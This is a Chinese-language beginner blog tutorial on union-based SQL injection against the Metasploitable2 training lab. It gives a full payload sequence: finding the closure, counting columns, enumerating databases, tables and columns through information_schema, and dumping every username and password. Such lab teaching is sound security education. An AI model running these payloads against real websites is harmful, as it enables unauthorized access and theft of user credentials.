web安全入门之SQL注入-基于metasploitable2-Linux

SQL注入

1.SQL注入介绍

我们在学习SQL注入前,先要对SQL以及数据库有一定的了解。
SQL(Structured Query Language)是一种关系数据库标准语言,SQL其为结构化的查询语言的简称,但其功能包括数据定义,数据查询,数据操纵和数据控制四部分。SQL简洁方便、功能齐全,是目前应用最广的关系数据库语言。

数据定义SQL(DDL):CREATE(创建)、DROP(丢弃)
数据查询SQL(DQL):SELECT(查询)
数据操纵SQL(DML):INSERT(插入)、UPDATE(修改)、DELETE(删除)等
数据控制SQL(DCL):GRANT(授权)、REVOKE(撤销授权)等

2.mysql系统数据库

SQL注入中最常见的为利用系统数据库,经常利用系统数据库配合union 联合查询获得数据库相关信息,系统数据库的所有信息都在这个数据库中,比如所有数据库的库名,表名,以及列名的数据库类型等
MYsql中的系统数据库为information_schema

information_schema的三张表

1.Information_schema.schemata表提供了关于数据库的信息,我们可以在其中找出 schema_name列,其中存放了所有的数据库名称,查询到这个列的值,即找到的所有的数据库名

2.information_schema.tables表提供了数据库中表的信息,我们在知道数据库名的情况下,可以找出这个数据库中所有的表名,此时在这个表中数据库名对应的值为table_schema,所有表名对应的值为table_name

3.information_schema.columns表提供了表中列的信息,我们在知道数据库名以及表名的情况,可以找出这个库中该表的列的信息,同时包含数据库名,所有列名值对应列column_name,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他列的信息
web安全入门之SQL注入-基于metasploitable2-Linux_第1张图片
web安全入门之SQL注入-基于metasploitable2-Linux_第2张图片

3.在web网页中通过SQL注入读出数据

我们一般不可能知道其数据库用户的用户名和其密码,所以只能在网页中通过SQL注入的方式来获取用户名和密码,Metasploitable2-Linux提供了Less-1 - Less 22不同难度的版本,循序渐进,从简到难。
在之后的博客中将逐一针对于每个Less进行分析,当前先了解一下
web安全入门之SQL注入-基于metasploitable2-Linux_第3张图片

4.SQL注入步骤

web安全入门之SQL注入-基于metasploitable2-Linux_第4张图片

(1).求闭合方式

闭合方式包括’ ’ " " ( ) [ ] { } (’ ')等;

一般求闭合语句 /?id=1 ’ and 1=1 --+,以该闭合为例,当页面显示正常输出时,则闭合方式为’’,当页面出现错误结果时,则测试其他闭合方式。

(2).二分法求表的列数

求列数语句/?id=1’order by 10 --+

不出结果表明数大,则减小一半,依次进行,直到查出列数为止。

(3).观察显示位(假设上一步测试出结果为3列)

求显示位语句/id=-1’union all select 1,2,3 --+

id=-1使前面的结果不显示,即将前查询id置为-1,只显示后面输出结果,如果显示2,3则表示显示位为2,3

(4).寻找库函数-在系统数据库information_shcema.schemata表中寻找

/?id=-1’ union all select 1,2,group_concat(schema_name) from information_schema.schemata --+
或者
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+

查找出结果为security

(5).寻找表-在系统数据库information_schema.tables表中寻找

/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

查找出结果为emails,referers,uagents,users

(6).寻找列-在系统数据库information_schema.columns表中寻找

/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+

查找出结果为id,username,password

(7).已知数据库和表和列,读出数据

/?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users–+

可以读出所有的用户名和密码

你可能感兴趣的:(web安全-SQL注入)